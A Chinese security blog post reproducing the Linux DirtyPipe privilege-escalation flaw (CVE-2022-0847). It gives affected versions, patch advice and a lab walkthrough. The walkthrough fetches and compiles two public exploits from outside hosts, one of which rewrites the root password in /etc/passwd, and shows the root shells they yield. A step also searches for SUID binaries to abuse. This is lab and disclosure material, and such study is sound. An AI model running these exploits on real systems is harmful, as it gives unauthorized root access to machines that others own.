DirtyPipe CVE-2022-0847 Linux 内核提权漏洞复现

一、漏洞描述

    Linux内核是操作系统的关键组件。它借助进程间通信和系统调用,在硬件级别上充当应用程序和数据处理之间的桥梁。CVE-2022-0847它是自5.8以来Linux内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。它类似于DirtyCOW(CVE-2016-5195),但更容易被利用。

二、漏洞影响: 

Linux Kernel版本 >= 5.8
 
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102

三、漏洞检测

可以通过uname -r命令查看版本信息,判断是否可利用。

四、漏洞复现

方法一:CVE-2022-0847-DirtyPipe-Exploit

步骤
1.下载攻击脚本:git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git
2.运行脚本,生成exp:./compile.sh
3.执行exp:./exploit
4.登录su root密码为:aaron
┌──(chenjiangfeng?kali)-[~]
└─$ git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit    ##下载攻击脚本
Cloning into 'CVE-2022-0847-DirtyPipe-Exploit'...
remote: Enumerating objects: 32, done.
remote: Counting objects: 100% (32/32), done.
remote: Compressing objects: 100% (25/25), done.
remote: Total 32 (delta 16), reused 16 (delta 5), pack-reused 0
Receiving objects: 100% (32/32), 14.42 KiB | 2.88 MiB/s, done.
Resolving deltas: 100% (16/16), done.
                                                                                                                                                                            
┌──(chenjiangfeng?kali)-[~]
└─$ cd CVE-2022-0847-DirtyPipe-Exploit                                    
                                                                                                                                                                            
┌──(chenjiangfeng?kali)-[~/CVE-2022-0847-DirtyPipe-Exploit]
└─$ gcc exploit.c -o exploit                                              ##编译脚本
                                                                                                                                                                            
┌──(chenjiangfeng?kali)-[~/CVE-2022-0847-DirtyPipe-Exploit]
└─$ ./exploit                                                             ##运行脚本
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(
                                                                                                                                                                            
┌──(chenjiangfeng?kali)-[~/CVE-2022-0847-DirtyPipe-Exploit]
└─$ su root                                                               ##切换root用户
Password: 
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),119(wireshark),142(kaboxer)
# 
方法二:dirtypipez.c
后来看 p 牛说到了网上的其他 POC,下面这个 POC 测试了一下,是可以提权的
┌──(chenjiangfeng㉿kali)-[~]
└─$ mkdir dirtypipez
                                                                                                                                                                            
┌──(chenjiangfeng㉿kali)-[~]
└─$ cd dirtypipez                     
                                                                                                                                                                            
┌──(chenjiangfeng㉿kali)-[~/dirtypipez]
└─$ wget https://haxx.in/files/dirtypipez.c
--2022-08-09 08:30:55--  https://haxx.in/files/dirtypipez.c
Resolving haxx.in (haxx.in)... 54.37.234.99
Connecting to haxx.in (haxx.in)|54.37.234.99|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7335 (7.2K) [text/x-csrc]
Saving to: ‘dirtypipez.c’

dirtypipez.c                               100%[========================================================================================>]   7.16K  --.-KB/s    in 0s      

2022-08-09 08:30:56 (58.8 MB/s) - ‘dirtypipez.c’ saved [7335/7335]

                                                                                                                                                                            
┌──(chenjiangfeng㉿kali)-[~/dirtypipez]
└─$ gcc dirtypipez.c -o dirtypipez   
                                                                                                                                                                            
┌──(chenjiangfeng㉿kali)-[~/dirtypipez]
└─$ 
这个 POC 需要事先找到一个具有 SUID 权限的可执行文件,然后利用这个文件进行提权
使用以下命令可以找到这类文件
┌──(chenjiangfeng㉿kali)-[~/dirtypipez]
└─$ find / -perm -u=s -type f 2>/dev/null

这里就以 /bin/su 为例了,直接 ./dirtypipez 跟上具有 SUID 权限的文件即可提权

./dirtypipez /bin/su 
五、修复建议
更新升级 Linux 内核到以下安全版本:

Linux 内核 >= 5.16.11
Linux 内核 >= 5.15.25
Linux 内核 >= 5.10.102
 
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.debian.org/security/2022/dsa-5092
文章版权声明 1、本网站名称:Happy峰安全运营
2、本站永久网址:https://blog.chenjiangfeng.com
3、本站发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
4、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
5、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
6、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
7、根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途
© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情图片

    暂无评论内容